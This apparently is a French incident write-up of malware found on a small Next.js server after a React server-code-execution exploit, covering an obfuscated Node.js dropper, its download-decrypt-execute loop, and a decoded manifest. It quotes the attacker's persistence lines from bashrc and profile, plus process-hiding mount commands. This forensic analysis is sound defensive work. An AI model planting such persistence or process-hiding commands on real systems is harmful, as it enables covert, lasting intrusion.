
Analyse d'un malware trouvé sur un serveur compromis via CVE-2025-55182, incluant un dropper obfusqué, la communication C2, les mécanismes de persistance et l'investigation forensique.
Ceci est un dump de malware et d'autres fichiers suspects que j'ai trouvés sur le serveur de mon site de mariage après l'exploitation de l'exécution de code côté serveur de React. C'est une petite droplet Digital Ocean qui fait tourner une application Next.js assez banale.
La CVE : https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Un journal de l'activité du serveur montrant divers pics et autres :

Le principal coupable semble être ce truc installé dans /.local/share/.r0qsv8h1
Dans mon bashrc :
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
Notez que les pgreps sont là pour empêcher ce faux malware « meshagent » de s'exécuter. Vous pouvez en savoir plus dans le document MESHAGENT.md.
dans mon profile il y a la même chose
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
Vous pouvez voir d'autres services suspects dans SUSPICIOUS_SERVICES.md
Voici une analyse de ce malware principal :
Le répertoire bad contient un runtime Node.js autonome accompagné d'un ensemble de fichiers JavaScript fortement obfusqués.
Tous les éléments indiquent qu'il s'agit d'un dropper malveillant qui contacte silencieusement un serveur distant, télécharge une charge utile chiffrée, la déchiffre, l'écrit sur le disque et l'exécute comme processus d'arrière-plan détaché. Le code vérifie également périodiquement les mises à jour sur le serveur.
| Fichier | Description |
|---|---|
.394ly8v9/README.md | README Node.js standard – sans rapport avec la fonctionnalité malveillante ; présent uniquement pour donner à l'ensemble une apparence légitime. |
.fvq2lzl64e.js | ~5 Ko de JavaScript obfusqué. Il construit une requête HTTP JSON‑RPC, reçoit une charge utile encodée en base64, la déchiffre avec un chiffrement personnalisé, écrit la charge utile dans un fichier aléatoire et l'exécute via child_process.spawn / execSync. Il génère également un processus d'arrière-plan détaché qui interroge en continu le serveur distant. |
.lauphhtqrg.js | ~13 Ko de JavaScript obfusqué. Implémente une boucle similaire de téléchargement-déchiffrement-exécution avec son propre chiffrement de style RC4 (dec). Écrit la charge utile déchiffrée dans un nom de fichier généré et l'exécute. Configure un minuteur pour récupérer de nouvelles charges utiles plus tard. |
.5f8562 | Chaîne Base64 en clair. Elle se décode en un petit manifeste JSON : json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } Ce manifeste indique au chargeur quel script exécuter (.fvq2lzj6te.js) et fournit un identifiant/horodatage. |
.b0rtqscrkeov | Pas encore examiné, mais le schéma de nommage suggère qu'il s'agit d'un autre composant de la même chaîne malveillante. |
bin/node et les fichiers lib/ associés | Un runtime Node.js complet, permettant aux scripts de fonctionner sur un système même si Node.js n'est pas installé. |
La charge utile Base64 dans .5f8562 se décode en :
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" fait référence au principal script de chargement obfusqué."0" est un UUID probablement utilisé par le serveur distant pour le suivi."3" est un horodatage (millisecondes Unix‑epoch) indiquant quand le manifeste a été généré."4" indique l'emplacement prévu (desktop), suggérant que la charge utile pourrait tenter de s'y cacher.node .5f8562), le manifeste pointe vers .fvq2lzj6te.js.setInterval répète périodiquement la séquence téléchargement-déchiffrement-exécution, permettant à l'attaquant d'envoyer de nouvelles charges utiles ou des mises à jour sans autre interaction de l'utilisateur.PATH, cwd, etc.) et peut effectuer des actions malveillantes typiques telles que le cryptomining, le vol d'identifiants ou l'exécution de commandes à distance..r0qsv8h1 et tous les fichiers qu'il a pu créer (vérifiez le Desktop de l'utilisateur et les répertoires temporaires pour d'éventuels exécutables récemment créés).Cette analyse a été réalisée automatiquement par un assistant IA sur la base d'un examen statique des fichiers présents dans le répertoire. Aucune exécution n'a été effectuée.
Vous pouvez en savoir plus dans DEOBFUSCATE.md